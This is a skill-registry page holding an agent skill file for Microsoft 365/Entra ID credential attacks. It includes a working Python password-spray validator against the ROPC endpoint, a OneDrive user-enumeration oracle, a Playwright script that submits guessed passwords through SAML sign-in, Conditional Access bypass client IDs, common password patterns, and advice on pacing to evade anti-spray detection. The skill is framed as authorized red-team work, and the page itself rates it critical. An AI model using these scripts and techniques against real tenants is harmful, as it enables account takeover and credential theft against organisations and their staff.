CtrlK
BlogDocsLog inGet started
Tessl Logo

m365-entra-attack

Microsoft 365 / Entra ID red-team attack chain — current 2026 reality. AADSTS code reference, user enumeration vectors (with hardening status), Smart Lockout math, Conditional Access bypass options, ROPC + SAML SSO browser flow, Burp/Playwright templates. Built from authorized red-team work where ROPC spray surfaced pre-existing lockouts and CA-blocked credentials, plus real-time external attacker activity correlation. Use for any M365/Entra credential attack, password spray, user enumeration, CA-bypass exploration, or active-attacker-detection scenario.

72

Quality

88%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

When to use this skill

Trigger when:

  • Target uses M365 / Entra ID (autodiscover.* records, login.microsoftonline.com redirects, "Microsoft Office 365" in tech-stack notes)
  • You have a list of corporate emails or stealer-leaked creds
  • Engagement involves "credential spray", "password spray", "Entra attack", "ATO via M365"
  • You see *.onmicrosoft.com, *-my.sharepoint.com, enterpriseregistration.*, enterpriseenrollment.* in recon
  • Client mentions "Conditional Access", "MFA bypass", "compliant device"

DO NOT use for:

  • On-prem-only Active Directory (use a separate AD-attack skill)
  • Service-to-service token attacks (different threat model)
  • Phishing-required attack chains (covered by phishing skills) — but you can prep for the credential-validation step here

Tenant discovery (msftrecon)

# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.example

Key fields in output:

  • Tenant ID (different domains may share OR have separate tenants — always test all owned domains)
  • Federation Information.Namespace Type = Managed (cloud-only, ROPC works) | Federated (ADFS, different attack)
  • SharePoint Detected (Yes = OneDrive enum vector available)
  • Communication Services Teams/Skype (post-auth lateral targets)
  • Admin Consent Endpoint accessible (consent-phishing surface)

Red flag: if the org has multiple Entra tenants for sister domains, each is a separate attack surface with its own user list, lockout policy, and CA configuration. Don't assume one spray covers all.


AADSTS code reference (memorize)

AADSTSMeaningLockout impactWhat to do
50034User does not existNoneSkip; remove from spray list
50126Invalid username/password+1 attempt counterUser exists — try alternate password later (within cap)
50053Account locked (Smart Lockout)None (already locked)Pre-existing → flag to SOC; don't retry
53003CA blocked token issuance+1 attempt counterPASSWORD VALID — STOP, password is correct
50076MFA required+1 attempt counterPASSWORD VALID — second factor needed
50079Strong auth required+1 attempt counterPASSWORD VALID — same as 50076
50158External auth required+1 attempt counterPASSWORD VALID — federated MFA
530003Device-state required+1 attempt counterPASSWORD VALID — needs compliant device
65001Consent required+1 attempt counterApp-consent issue, not auth
700016App not in tenantNoneUser in different tenant — adjust target
90002Tenant does not existNoneTenant typo / dead tenant

Critical insight: any code in {53003, 50076, 50079, 50158, 530003} means the password is correct — Microsoft only returns these AFTER successful credential validation. Document as a confirmed-valid finding even if you can't get a token.


Smart Lockout math (the cap discipline)

Microsoft default policy:

  • 10 failed sign-ins in 10 minutes → 1-minute lockout
  • 20 failed sign-ins → progressively longer lockouts (exponential backoff)
  • Counter shared across ALL auth flows (ROPC + SAML + IMAP + EWS + SMTP + device-code)

Engagement discipline:

  • Hard cap: ≤2 password attempts per user lifetime per engagement (some engagements: 1)
  • State file with atomic writes — never let two test runs race the counter
  • Kill switch: stop run if more than N LOCKED responses observed (suggests pre-existing attacker activity OR you miscounted; either way pause)

Mathematical guarantee: with 1 attempt per user, you cannot cause Smart Lockout (1 < 10). Any AADSTS50053 you see is therefore pre-existing → use this for active-attacker detection (see mid-engagement-ir-detection skill).


User enumeration — vectors + hardening status (May 2026)

❌ HARDENED (no longer differential)

GET /getuserrealm.srf?login=<email>&xml=1

Returns identical XML for any email matching tenant's owned domain. Tenant-level only, not user-level.

POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}

Returns AADSTS1659001 (missing flowToken) without proper session — can't enumerate.

GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1

Returns identical 200 + same JSON body for any address. Hardened ~2024.

✅ STILL WORKS (May 2026 — track shelf life)

OneDrive personal-site differential:

GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
Host: <tenant>-my.sharepoint.com
  • 302 → user EXISTS (auth-required redirect to Authenticate.aspx)
  • 404 → user does NOT exist (404 FILE NOT FOUND)
  • ZERO authentication attempt → ZERO lockout impact
  • Bonus: Sprequestduration header faster (~40ms) for existing users vs ~600ms for non-existent — secondary timing oracle

Caveats:

  • Only works if SharePoint is provisioned for the tenant (check msftrecon SharePoint Detected: Yes)
  • Microsoft is hardening these endpoints over time — re-verify before relying on it
  • Some users may exist in Entra without OneDrive provisioning (license-dependent) — false negatives possible

2026-05-17 re-verification (authorized-engagement revalidation): The OneDrive enum primitive STILL WORKS as of 2026-05-17. Calibration: licensed users return HTTP 200 with ~57KB body; nonexistent users / shared-mailbox accounts return 404 with 0 bytes. The /personal/ root path (without /_layouts/15/onedrive.aspx) returns the same differential.

Killer use case: license differential = account-class signal. Cross-reference OneDrive 200/404 with ROPC AADSTS50034/50126:

OneDriveROPCClassification
200AADSTS50076 (MFA req) or 50126Licensed regular user (real employee, MFA enforced)
200AADSTS50034(shouldn't happen — inconsistency, investigate)
404AADSTS50126Shared mailbox / functional / service account (no OneDrive license, has password) — historic MFA-exempt class, prime target for password guessing
404AADSTS50034Doesn't exist in tenant
404AADSTS50076Edge case (functional account WITH MFA enforced — rare)

The OneDrive-404 + ROPC-50126 combination is the signal for "functional account that might bypass MFA" — admins frequently exempt these from CA policies because they're used by automation that can't satisfy MFA. Discovered usefulness on authorized-engagement revalidation: identified noreply@, purchase@, accounts@, postmaster@, transport@ as functional-account candidates (typical for any conglomerate tenant).

ROPC AADSTS50034 / AADSTS50126 differential:

  • AADSTS50034 (user not exist) does NOT increment Smart Lockout counter
  • AADSTS50126 (wrong password) DOES increment
  • So a 1-attempt-per-user spray can be used as a coarse user-existence enumerator (each AADSTS50034 = miss, each AADSTS50126 = hit + 1 attempt burned)

Conditional Access bypass options (most blocked, document anyway)

VectorStatus (2026)Notes
Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office)Sometimes worksCA can be per-app; try 1b730954-1685-4b74-9bfd-dac224a7b894 (Graph PS), 04b07795-8ddb-461a-bbee-02f9e1bf7b46 (Azure CLI), d3590ed6-52b3-4102-aeff-aad2292ab01c (Office)
Different resource (graph.microsoft.com / outlook.office.com / management.azure.com)Sometimes worksCA scope can be per-resource
EWS / IMAP / POP3 / SMTP Basic AuthMostly disabledMS deprecated Basic Auth Oct 2022; per-account exceptions exist
FOCI (Family of Client IDs)Token-refresh pathUse a refresh token from one FOCI client to mint tokens for another
Device-code phishingWorksRequires user-side interaction (OOS for many engagements)
Compliant-device emulationHardRequires Intune device registration — high effort, often impossible without insider
AiTM session-cookie stealWorks (with phishing)Modern primary technique — out of scope for non-phishing engagements
FOCI + Family Refresh Token TheftPost-authRequires already having a token
SAML SSO via different SPSometimesEach enterprise app has its own CA policy; an app with weaker CA = pivot
Geo-bypass via VPNSometimesIf "trusted location" CA policy includes corp HQ IPs, use a VPN exit there

Key insight from this engagement: in a tenant with universal CA policy (compliant device + MFA), all the above paths return AADSTS53003 with the same flow. The cred is valid, but unusable from external. Phishing-completed cookie steal is the only realistic adversary path. Document this clearly so the client understands the threat model.


ROPC password validation (the canonical test)

Single-attempt validator pattern (Python):

import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1  # or 2 — never higher

def attempt(email, password):
    state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
    if state.get(email.lower(), 0) >= HARD_CAP:
        return {"status": "SKIPPED_CAP"}
    body = urllib.parse.urlencode({
        "resource": "https://graph.windows.net",
        "client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",  # Microsoft Graph PowerShell
        "client_info": "1",
        "grant_type": "password",
        "username": email,
        "password": password,
        "scope": "openid",
    }).encode()
    state[email.lower()] = state.get(email.lower(), 0) + 1
    json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
    os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE)  # atomic
    req = urllib.request.Request(
        "https://login.microsoftonline.com/common/oauth2/token",
        data=body, method="POST",
    )
    req.add_header("Content-Type", "application/x-www-form-urlencoded")
    try:
        r = urllib.request.urlopen(req, context=ctx, timeout=15)
        body = json.loads(r.read())
        # PARSE AS JSON — see CRITICAL TRAP below about substring matching
        if "access_token" in body:    # ← JSON key check, NOT substring
            return {"status": "VALID", "body": body}
        return {"status": "STATUS_200_NO_TOKEN", "body": body}
    except urllib.error.HTTPError as e:
        msg = e.read().decode(errors="ignore")
        for code, status in [
            ("AADSTS50034", "INVALID_USER"),
            ("AADSTS50126", "INVALID_PW"),
            ("AADSTS50053", "LOCKED"),
            ("AADSTS53003", "VALID_CA_BLOCK"),
            ("AADSTS50076", "VALID_MFA"),
            ("AADSTS50079", "VALID_MFA"),
        ]:
            if code in msg:
                return {"status": status, "code": code}
        return {"status": "OTHER", "msg": msg[:200]}

⚠ CRITICAL TRAP — AADSTS50076 body contains literal "access_token" substring

When CA policy requires MFA and ROPC cannot satisfy it, Entra returns an error body that INCLUDES a claims field listing CA policy IDs as a step-up challenge:

{
  "error": "invalid_grant",
  "error_description": "AADSTS50076: ...you must use multi-factor authentication...",
  "error_codes": [50076],
  "suberror": "basic_action",
  "claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
}

The "access_token" substring appears inside the CA claims challenge JSON. A loose substring check if "access_token" in raw_body: will false-positive every MFA-blocked attempt as a successful token issuance.

Always parse JSON, then check if "access_token" in parsed_dict: — never substring-match on OAuth error bodies. This was discovered in the 2026-05-17 authorized-engagement revalidation where a substring check produced 7 false-positive "CA bypasses" on Sway/Yammer/Bookings/Tunnel client_ids that were actually all enforcing MFA correctly.

The claims.access_token.capolids values are tenant-internal Conditional Access policy IDs — useful recon enrichment, but NOT a token. Document them in engagement notes as "CA policy IDs that fired" — they're a defender-side breadcrumb, not an attacker-side win.

Pace:

  • NEVER use concurrency. Single-threaded, serial, paced. This is a hard rule, not a tuning knob. Entra has an IP-reputation anti-spray layer that is SEPARATE from per-user Smart Lockout. Concurrency — not attempts-per-user — is what trips it. Once tripped it returns AADSTS50053 (LOCKED) en masse for accounts you hit only once (mathematically impossible to be real per-user locks → they are IP-level rejections), which (a) contaminates your existence data — 50053 is now ambiguous and you've burned the 1/user cap so you can't re-test — and (b) flags your egress IP as a spray source in the tenant. Observed live on an authorized engagement: switching from serial to 12 threads produced ~183 false AADSTS50053 in 15s vs. 1 across 454 paced attempts.
  • The earlier "≤30 req/sec is fine" guidance is MISLEADING for a real tenant — read it as "serial with 1.5–3s jitter," never as "parallelize up to 30/s."
  • Per-user: hard cap from state file is the only thing that matters for lockout-causation; serial pacing is what matters for IP reputation.
  • Random jitter (1.5–5s between attempts) for less-machine-like signature.
  • Kill-switch: if >~5 AADSTS50053 appear in a run where your cap is 1/user, STOP — you've either tripped IP anti-spray (your fault, pace down / rotate IP / wait for cooldown) or detected a real external spray (a finding). Either way, pause and diagnose before continuing.

SAML SSO browser flow (for definitive cred validation when CA blocks ROPC)

When ROPC returns AADSTS53003, you've proven the password. To prove it across BOTH auth paths (and capture Microsoft's CA-block page as evidence), walk SAML SSO via Playwright:

import asyncio
from playwright.async_api import async_playwright

async def saml_validate(target_sp_url, username, password, screenshot_dir):
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"])
        context = await browser.new_context(ignore_https_errors=True)
        page = await context.new_page()
        # Step 1: navigate to SP
        await page.goto(target_sp_url, wait_until="networkidle", timeout=30000)
        # Step 2: click sign-in (selectors vary per SP)
        for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]:
            try:
                await page.locator(sel).first.click(timeout=3000)
                break
            except: continue
        await page.wait_for_load_state("networkidle", timeout=20000)
        # Step 3: submit username at Microsoft
        await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username)
        await page.locator('input[type="submit"], #idSIButton9').first.click()
        await page.wait_for_load_state("networkidle", timeout=20000)
        # Step 4: submit password
        await page.locator('input[name="passwd"], input[type="password"]').first.fill(password)
        await page.locator('input[type="submit"], #idSIButton9').first.click()
        await page.wait_for_load_state("networkidle", timeout=30000)
        # Step 5: capture
        await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True)
        content = await page.content()
        cookies = await context.cookies()
        await browser.close()
        # Check outcome
        low = content.lower()
        if "convergedconditionalaccess" in low or "53003" in low:
            return "CA_BLOCKED"  # cred valid, CA wall
        elif "verify your identity" in low or "approve sign in" in low:
            return "MFA_REQUIRED"  # cred valid, MFA wall
        elif "we couldn't sign you in" in low or "wrong" in low:
            return "INVALID"
        elif "<post-auth-landing-marker>" in low or "dashboard" in low:
            return "FULL_SUCCESS"  # session obtained (replace marker per target app)
        return "UNCLEAR"

Microsoft's ConvergedConditionalAccess page (PageID in source) is the definitive evidence of CA-block.


Active-attacker detection via lockout differential

If you see AADSTS50053 (LOCKED) on multiple users despite your 1-attempt-per-user cap:

  1. You did not cause these locks (math: 1 < 10).
  2. An external attacker is actively spraying the tenant.
  3. Cluster the locked users alphabetically — if they cluster, attacker is using a sorted username list.
  4. Diff lockout count between spray-start and spray-end — new locks during your session = attacker is active right now.
  5. Document the locked email list as a finding (SOC actionable — they pull sign-in logs for those users).

This is the highest-impact byproduct of any M365 spray engagement. Always track and report.


Common password patterns to spray (multi-brand enterprise targets)

  • <BrandName>@<Year><Brand>@2026, Tata@2026
  • <BrandName>@123<Brand>@123 (very common)
  • <PlantCity>@<Year><City1>@2026, <City2>@2026 (production plant cities)
  • <EmployeeID-as-password> — common in legacy apps (PAN number, employee code, phone last4)
  • Password@<year>, Welcome@<year>, Admin@<year> — generic defaults
  • <BrandName>@<Y2-digits><Brand>@26

Engagement caveat: when client provides leaked-cred dumps (stealer logs), use those FIRST. Each leaked cred is 1 cap-attempt against the strongest known guess for that user.


Engagement journaling (mandatory)

Every M365 attempt logs to JSONL:

{"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}

Per-user tracker (atomic):

{"user1@<client>.example": 1, "user2@<client>.example": 1, ...}

IP rotation log (per-day):

2026-05-08	<src-ip>	<ISP-AS>	<operator-handle>	Round 2 spray

These three artifacts are deliverable evidence for the report. They survive into the next engagement as state.


Real-world findings template (from authorized-engagement)

For the report:

Finding: 261 Entra accounts in pre-existing lockout state

  • Subject: Active external password-spray campaign detected
  • Evidence: o365_results.jsonl filtered to status=LOCKED
  • Math: 1-attempt-per-user × 261 LOCKED ≠ our doing
  • SOC action: pull sign-in logs for these 261 accounts over last 30-60 days

Finding: Valid M365 cred — <user>:<password> (CA-blocked)

  • Subject: Confirmed valid credential
  • Evidence: ROPC AADSTS53003 + SAML SSO ConvergedConditionalAccess page screenshot
  • Microsoft documentation excerpt: "AADSTS53003 returned only after password validation"
  • Recommendation: force password reset, audit org-wide for similar pattern

Anti-patterns (don't do these)

  • DON'T use the leaked cred for the user across multiple resources — burns the cap with no marginal benefit when CA blocks all paths
  • DON'T retry after AADSTS50053 — account is locked, you'll just see lockout again
  • DON'T parallelize ROPC/auth requests AT ALL — serial + paced only. Concurrency trips Entra's IP-reputation anti-spray (separate from Smart Lockout), floods false AADSTS50053, contaminates results, and flags your IP. "Going faster" by adding threads costs more than it saves. The only safe speed-up is removing dead/nonexistent users first (small GetCredentialType batches <60), not raising concurrency.
  • DON'T forget to test ALL Entra tenants — sister domains often have separate tenants with different password policies
  • DON'T retract a CA-block finding — AADSTS53003 means the password is correct; that's the whole point

Tooling

pip install --break-system-packages msftrecon o365spray  # may need to clone msftrecon from GitHub
brew install pandoc                                       # for report generation
go install -v github.com/projectdiscovery/...             # PD toolkit for general recon

Pre-built m365_validator.py template at engagement working directory engagement_log/m365_validator.py. Adapt the attempt() function to your engagement.


Related Skills & Chains

  • hunt-mfa-bypass — AADSTS50053 (lockout) vs AADSTS50126 (bad password) vs AADSTS50076 (MFA required) is a free factor-presence oracle. Chain primitive: M365 AADSTS50053 lockout differential observed → user has MFA but no CA enforcement on legacy auth → hunt-mfa-bypass factor-probe (SMS fallback, voice fallback, OAuth device-code flow, ROPC against legacy endpoint) → Conditional Access bypass via legacy-protocol path.
  • hunt-ntlm-info — On-prem NTLM topology leak feeds the Entra spray. Chain primitive: SharePoint/Exchange/IIS anon NTLM Type-2 → AV_PAIR decode yields corp.example.comm365-entra-attack resolves Entra tenant via openid-configuration → ROPC spray with realistic UPN format.
  • okta-attack — Hybrid orgs run Okta-as-IdP federated into Entra. Chain primitive: M365 getuserrealm returns NameSpaceType: Federated with AuthURL pointing to *.okta.com → pivot to okta-attack for tenant enumeration → Okta ATO → SAML assertion to Entra → full M365 access.
  • hunt-saml — Federated tenants accept signed SAML assertions; XSW or signature-stripping on the federated IdP bypasses Entra's controls entirely. Chain primitive: getuserrealm reveals federation → IdP fingerprinted (ADFS / Okta / PingFederate) → hunt-saml XSW1-XSW8 against IdP's /adfs/ls/ or equivalent → forged assertion → Entra grants access.
  • redteam-report-template — M365 findings need clear tenant/user/CA-policy framing because the blast radius is "every Microsoft service the org uses." Chain primitive: validated finding from this skill → run through triage-validation 7-Question Gate → package via redteam-report-template with explicit blast-radius (which apps, which users, which data) for client deliverable.
Repository
elementalsouls/Claude-BugHunter
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.